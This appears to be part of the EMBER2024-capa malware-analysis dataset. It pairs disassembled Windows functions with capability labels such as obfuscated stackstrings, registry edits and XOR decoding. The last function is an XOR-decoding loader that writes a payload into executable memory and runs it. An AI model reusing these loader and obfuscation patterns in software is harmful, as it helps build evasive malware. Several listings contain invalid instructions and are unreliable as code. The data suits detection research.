joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409870
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
push ebp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.004098f1
jae 0x40987e
xor ecx, ecx
call fcn.004098f1
jae 0x4098a8
xor eax, eax
call fcn.004098f1
jae 0x4098b9
mov al, 0x10
call fcn.004098f1
adc al, al
jae 0x40989a
jne 0x4098e6
stosb byte es:[edi], al
jmp 0x40987f
call fcn.004098fd
dec ecx
loop 0x4098c5
mov eax, ebp
call fcn.004098fb
jmp 0x4098e7
lodsb al, byte [esi]
shr eax, 1
je 0x40990d
adc ecx, 2
mov ebp, eax
jmp 0x4098e7
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.004098fb
cmp eax, 0x7d00
jae 0x4098e5
cmp eax, 0x500
jae 0x4098e6
cmp eax, 0x7f
ja 0x4098e7
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x40987f
pop ebp
sub edi, dword [ebp + 0xc]
mov dword [ebp - 4], edi
popal
pop ebp
ret
Function at 0x46f510
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp - 4]
xor bl, bl
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
je 0x46f597
push esi
push edi
call fcn.00471b44
add esp, 4
mov esi, eax
push esi
push edi
push 0
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x46f58d
push 0x4aa720
push esi
call fcn.0046f670
mov ecx, dword [ebp + 0x14]
add esp, 8
push eax
call fcn.0046b290
push 0x498c1c
push esi
call fcn.0046f670
mov ecx, dword [ebp + 0x10]
add esp, 8
push eax
call fcn.0046b290
push 0x49719c
push esi
call fcn.0046f670
mov ecx, dword [ebp + 0xc]
add esp, 8
push eax
call fcn.0046b290
mov bl, 1
push esi
call fcn.00471b0c
add esp, 4
pop esi
pop edi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x47fc70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0047f8f0
push eax
push esi
push dword [ebp + 8]
call fcn.0047f8a5
mov dword [ebp - 8], eax

Function at 0x47ff39
Capabilities:
Inspect section memory permissions

Disassembly:
je 0x47ff94
add eax, esi
cmp dword [eax], ebx
je 0x47ff94
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x47ff8f
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x47ff79
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x47ff81
cmp edx, ebx
jne 0x4800cf
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x47ff50
add eax, dword [eax + 4]
jmp 0x47ff3d
mov dword [ebp + 0xc], ebx
jmp 0x47ff9f
Function at 0x47ffae
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x47ffb7
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x47ffd5
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x480033
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x48001a
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x480023
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x48002d
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x48000f
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x47ff99
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x480080
dec eax
je 0x480077
sub eax, 3
je 0x48006e
mov dword [ebp - 4], 0x40
jmp 0x48009d
mov dword [ebp - 4], 4
jmp 0x480083
mov dword [ebp - 4], 0x20
jmp 0x480083
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4800cf
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x48004f
push 0x8000
push ebx
push esi
call dword [ebp - 8]

Function at 0x480161
Capabilities:
Contain obfuscated stackstrings

Disassembly:
dec dword [edx - 0x3a]
test dword [esi + 0x46fffffc], esi
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
inc dword [eax - 0x3a]
test dword [esp + edi*8 - 0x39bb0001], edi
test dword [ebp + 0x55fffffc], edi
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.0047f8f0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0047f8a5
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
Function at 0x4801b9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
test dword [esi - 4], eax
invalid
call dword [ebx]
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.0047f8f0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0047f8a5
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.0047f8f0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0047f8a5
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.0047f8e0
dec edx
loope 0x480338
and byte ds:[ebp - 0x534], 0
and byte [ebp - 0x533], 0
mov byte [ebp - 0x532], 0x68
and byte [ebp - 0x531], 0
mov byte [ebp - 0x530], 0xd4
mov byte [ebp - 0x52f], 0xfb
mov byte [ebp - 0x52e], 0xf8
mov byte [ebp - 0x52d], 0xe4
mov byte [ebp - 0x52c], 0xf2
mov byte [ebp - 0x52b], 0xdf
mov byte [ebp - 0x52a], 0xf6
mov byte [ebp - 0x529], 0xf9
mov byte [ebp - 0x528], 0xf3
mov byte [ebp - 0x527], 0xfb
mov byte [ebp - 0x526], 0xf2
mov byte [ebp - 0x525], 0x97
lea eax, [ebp - 0x534]
push eax
call fcn.0047f8f0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0047f8a5
add esp, 0xc
mov dword [ebp - 0x680], eax
call fcn.0047f8e0
aad 0x81
wait
mov byte [eax - 0x6635b], 0xff
add byte [eax - 0x6625b], al
inc dword [eax]
mov byte [ebp - 0x662], 7
and byte [ebp - 0x661], 0
mov byte [ebp - 0x660], 0xb0
mov byte [ebp - 0x65f], 0x9d
mov byte [ebp - 0x65e], 0x99
mov byte [ebp - 0x65d], 0x88
mov byte [ebp - 0x65c], 0xb9
mov byte [ebp - 0x65b], 0x94
mov byte [ebp - 0x65a], 0x94
mov byte [ebp - 0x659], 0x97
mov byte [ebp - 0x658], 0x9b
mov byte [ebp - 0x657], 0xf8
lea eax, [ebp - 0x664]
Function at 0x480544
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.0047f8f0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0047f8a5
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.0047f8e0
clc
cli
push ebp
dec edi
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x4805d4
cmp dword [ebp - 0x398], 0
je 0x48079e
cmp dword [ebp + 0xc], 1
je 0x48079e
cmp dword [ebp + 0xc], 8
jne 0x480766
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
stc
invalid
push dword [esi + eax*8]
test dword [edx - 7], edx
invalid
call dword [esi]
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
mov byte [ebp - 0x6aa], 0x17
mov byte [ebp - 0x6a9], 0x17
mov byte [ebp - 0x6a8], 0x29
mov byte [ebp - 0x6a7], 1
mov byte [ebp - 0x6a6], 9
mov byte [ebp - 0x6a5], 0xb
mov byte [ebp - 0x6a4], 0x16
mov byte [ebp - 0x6a3], 0x1d
invalid
test dword [esi - 7], ebx
invalid

Function at 0x4807c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.0047f8be
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
invalid
Function at 0x480ca5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call dword [ebp - 0x680]
cmp dword [ebp - 0x6cc], 0
je 0x481a73
push 5
mov eax, dword [ebp - 0x378]
mov ecx, dword [ebp - 4]
lea eax, [ecx + eax - 0x1d]
push eax
lea eax, [ebp - 0x394]
push eax
call fcn.0047f851
add esp, 0xc
and dword [ebp - 0x700], 0
jmp 0x480ced
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x480d36
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x480ce0
call fcn.0047f8e0
push cs
inc esp
inc esp
out dx, al
and byte [ebp - 0x72c], 0
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
mov byte [ebp - 0x728], 0x6b
fdivr st(0)
invalid
jmp [ebx - 0x3a]
test ecx, ebx
clc
invalid
invalid
push esp
push esp
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.0047f8e0
jb 0x480d68
cmc
and eax, 0xf8d4858d
invalid
pop edi
pop esi
pop ebx
leave
ret
Function at 0x506f150c
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
mov eax, dword [0x506fb298]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
xor ebx, ebx
xor esi, esi
cmp eax, ebx
push 2
pop ebp
jne 0x506f15c5
call edi
mov esi, eax
cmp esi, ebx
je 0x506f4133
mov dword [0x506fb298], 1
cmp esi, ebx
je 0x506f4154
cmp word [esi], bx
mov eax, esi
je 0x506f156e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
add eax, ebp
cmp word [eax], bx
jne 0x506f1560
add eax, ebp
cmp word [eax], bx
jne 0x506f1560
mov edi, dword [sym.imp.kernel32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
sub eax, esi
push ebx
sar eax, 1
inc eax
push eax
push esi
push ebx
push ebx
mov dword [esp + 0x34], eax
call edi
mov ebp, eax
cmp ebp, ebx
je 0x506f15b5
push ebp
call fcn.506f2560
cmp eax, ebx
pop ecx
mov dword [esp + 0x10], eax
je 0x506f15b5
push ebx
push ebx
push ebp
push eax
push dword [esp + 0x24]
push esi
push ebx
push ebx
call edi
test eax, eax
je 0x506f4161
mov ebx, dword [esp + 0x10]
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
cmp eax, 1
jne 0x506f4174
jmp 0x506f1542
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x78
jne 0x506f414a
mov eax, ebp
mov dword [0x506fb298], eax
jmp 0x506f15c5
mov eax, dword [0x506fb298]
jmp 0x506f15c5
call edi
mov esi, eax
cmp esi, ebx
je 0x506f417c
jmp 0x506f154a
push dword [esp + 0x10]
call fcn.506f2ca2
pop ecx
mov dword [esp + 0x10], ebx
jmp 0x506f15b1
cmp eax, ebp
je 0x506f4183
cmp eax, ebx
je 0x506f4183
xor eax, eax
jmp 0x506f15be
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov esi, eax
cmp esi, ebx
je 0x506f417c
cmp byte [esi], bl
je 0x506f419d
inc eax
cmp byte [eax], bl
jne 0x506f4193
inc eax
cmp byte [eax], bl
jne 0x506f4193
sub eax, esi
inc eax
mov ebp, eax
push ebp
call fcn.506f2560
mov edi, eax
cmp edi, ebx
pop ecx
jne 0x506f41b3
xor edi, edi
jmp 0x506f41be
push ebp
push esi
push edi
call fcn.506f9580
add esp, 0xc
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
mov eax, edi
jmp 0x506f15be
Function at 0x506f236f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x506fb050]
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.506f2355
mov eax, 0x506f0000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.506f1872
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.kernel32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x506f2401
cmp dword [ebp - 0x1c], 5
jb 0x506f23d3
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x710
mov dword [esi + 0x14], 0x506f2414
call fcn.506f13e9
test eax, eax
jl 0x506f4772
mov ecx, dword [ebp + 0x74]
mov eax, esi
pop esi
call fcn.506f22d6
add ebp, 0x78
leave
ret
cmp dword [ebp - 0x10], 1
jne 0x506f23d3
jmp 0x506f475d
cmp dword [ebp - 0x18], 0
jbe 0x506f23d3
jmp 0x506f23cf
cmp dword [ebp - 0x1c], 4
ja 0x506f23cf
jne 0x506f23d3
jmp 0x506f240c
mov byte [0x506fb15c], 1
jmp 0x506f23f1

Function at 0x506f539f
Capabilities:
Set registry value

Disassembly:
push 4
lea eax, [esp + 0xc]
push eax
push 4
push 0
push dword [esp + 0x14]
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
ret 8

Function at 0x506f53b9
Capabilities:
Set registry value

Disassembly:
push esi
push dword [esp + 0xc]
mov esi, ecx
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
push eax
push dword [esp + 0x10]
push dword [esp + 0x18]
push 0
push dword [esp + 0x18]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop esi
ret 0xc

Function at 0x506f53e2
Capabilities:
Set registry value

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
mov ebx, ecx
xor edi, edi
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
inc eax
add esi, eax
add edi, eax
cmp eax, 1
jne 0x506f53ed
push edi
push dword [esp + 0x18]
push 7
push 0
push dword [esp + 0x20]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
ret 8

Function at 0x506f5a1e
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x94]
sub esp, 0x114
mov eax, dword [0x506fb050]
push ebx
push esi
push 0x2001f
push dword [ebp + 0x9c]
mov ebx, ecx
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x74]
mov dword [ebp + 0x90], eax
mov dword [ebp - 0x74], esi
call fcn.506f9580
cmp eax, esi
jne 0x506f5aa6
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
jmp 0x506f5a6f
lea eax, [ebp - 0x70]
push eax
call fcn.506f5a1e
cmp eax, esi
jne 0x506f5aa5
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x70]
push eax
push esi
push dword [ebp - 0x74]
mov dword [ebp - 0x78], pe_nt_image_headers32
call edi
test eax, eax
lea ecx, [ebp - 0x74]
je 0x506f5a62
call fcn.506f5305
push dword [ebp + 0x9c]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop edi
lea ecx, [ebp - 0x74]
mov esi, eax
call fcn.506f5305
mov ecx, dword [ebp + 0x90]
mov eax, esi
pop esi
pop ebx
call fcn.506f22d6
add ebp, 0x94
leave
ret 4
Function at 0x506f7d48
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x398]
sub esp, 0x418
mov eax, dword [0x506fb050]
push ebx
push esi
push edi
mov dword [ebp + 0x394], eax
mov esi, ecx
call dword [0x506fb66c]
xor edi, edi
cmp dword [ebp + 0x3a0], edi
mov ebx, eax
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x70], edi
je 0x506f7dd2
push dword [ebp + 0x3a0]
call dword [sym.imp.kernel32.dll_lstrlenW]
lea esi, [eax + eax + 2]
cmp esi, 0x400
jg 0x506f7db7
push esi
call fcn.506f516a
test al, al
je 0x506f7db7
mov eax, esi
add eax, 3
and eax, 0xfffffffc
call fcn.506f19f4
mov eax, esp
jmp 0x506f7dc0
push esi
lea ecx, [ebp - 0x74]
call fcn.506f5b58
push ebx
push esi
push dword [ebp + 0x3a0]
push eax
call fcn.506f9580
cmp eax, edi
jne 0x506f7dec
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x70], eax
je 0x506f7de2
lea ecx, [ebp - 0x70]
call fcn.506f59b7
mov esi, 0x8007000e
jmp 0x506f7ea2
push 2
push edi
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
cmp esi, edi
mov dword [ebp - 0x78], esi
jne 0x506f7e0b
call fcn.506f52ae
mov esi, eax
jmp 0x506f7e92
push dword [ebp + 0x3a8]
push dword [ebp + 0x3a4]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov ebx, eax
cmp ebx, edi
je 0x506f7e32
push ebx
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov esi, eax
cmp esi, edi
jne 0x506f7e39
call fcn.506f52ae
jmp 0x506f7e87
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
lea eax, [ebx + 1]
push eax
lea ecx, [ebp - 0x70]
call fcn.506f5bc6
mov edi, dword [ebp - 0x70]
test edi, edi
jne 0x506f7e5f
mov esi, 0x8007000e
jmp 0x506f7e89
push dword [ebp + 0x3ac]
mov ecx, ebx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x70]
mov byte [ebx + eax], 0
push dword [ebp - 0x70]
lea ecx, [ebp - 0x80]
call fcn.506f747e
mov esi, eax
push dword [ebp - 0x78]
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x6c]
cmp dword [ebp - 0x70], eax
je 0x506f7ea2
lea ecx, [ebp - 0x70]
call fcn.506f59b7
lea ecx, [ebp - 0x74]
call fcn.506f58f5
mov eax, esi
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x394]
call fcn.506f22d6
pop edi
pop esi
pop ebx
add ebp, 0x398
leave
ret 0x10
Function at 0x506f8e1c
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x8c]
sub esp, 0x10c
mov eax, dword [0x506fb050]
mov ecx, dword [ebp + 0x94]
push ebx
push esi
mov dword [ebp + 0x88], eax
xor edx, edx
push edi
xor eax, eax
cmp ecx, dword [eax*8 + 0x506fb820]
je 0x506f8e51
inc eax
cmp eax, 0x13
jb 0x506f8e42
mov esi, eax
shl esi, 3
cmp ecx, dword [esi + 0x506fb820]
jne 0x506f8f77
mov eax, dword [0x506fb904]
cmp eax, 1
je 0x506f8f4f
cmp eax, edx
jne 0x506f8e81
cmp dword [0x506fb908], 1
je 0x506f8f4f
cmp ecx, 0xfc
je 0x506f8f77
push 0x104
lea eax, [ebp - 0x80]
push eax
push edx
mov byte [ebp + 0x84], dl
call dword [sym.imp.kernel32.dll_GetModuleFileNameA]
test eax, eax
jne 0x506f8eb7
lea eax, [ebp - 0x80]
push 0x506f4d00
push eax
call fcn.506f16e4
pop ecx
pop ecx
lea edi, [ebp - 0x80]
mov eax, edi
push eax
call fcn.506f17c8
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x506f8eeb
mov eax, edi
push eax
call fcn.506f17c8
mov edi, eax
lea eax, [ebp - 0x80]
sub eax, 0x3b
push 3
add edi, eax
push 0x506f4cfc
push edi
call fcn.506f39e1
add esp, 0x10
push edi
call fcn.506f17c8
push dword [esi + 0x506fb824]
mov ebx, eax
call fcn.506f17c8
lea eax, [ebx + eax + 0x1c]
pop ecx
add eax, 3
pop ecx
and eax, 0xfffffffc
call fcn.506f19f4
mov ebx, esp
push 0x506f8f94
push ebx
call fcn.506f16e4
push edi
push ebx
call fcn.506f3970
push 0x506f4cf8
push ebx
call fcn.506f3970
push dword [esi + 0x506fb824]
push ebx
call fcn.506f3970
push 0x12010
push 0x506f4cd0
push ebx
call fcn.506f9580
add esp, 0x2c
jmp 0x506f8f77
push edx
lea eax, [ebp + 0x94]
push eax
lea esi, [esi + 0x506fb824]
push dword [esi]
call fcn.506f17c8
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.kernel32.dll_GetStdHandle]
push eax
call dword [sym.imp.kernel32.dll_WriteFile]
lea esp, [ebp - 0x8c]
mov ecx, dword [ebp + 0x88]
call fcn.506f22d6
pop edi
pop esi
pop ebx
add ebp, 0x8c
leave
ret
Function at 0x506f9580
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x506f958f
pop dword [ebp - 0xc]
mov eax, 0x25d9ae5d
sub eax, 0xd56a18ce
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x372f7
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x179e003a
sub ecx, 0x179db7cf
xor ebx, ebx
add ebx, eax
mov esi, 0x7cce3e97
sub esi, 0x2c5e5e97
add esi, dword [ebp - 0xc]
mov edx, 0xe83fc944
add edx, 0xcae7039f
add dword [ebp - 8], 0xc49daac
mov edi, dword [esi]
sub dword [ebp - 8], 0x54f66215
xor edi, edx
add dword [ebp - 8], ecx
mov dword [ebx], edi
sub dword [ebp - 8], 0x8820a0be
add ebx, 4
add esi, 4
loop 0x506f95eb
add eax, 0x66e0449a
add eax, 0x9920cfe5
xor ebx, ebx
add ebx, eax
add eax, 0xb5d99619
sub eax, 0xb5d99614
mov ecx, 0x506f0000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret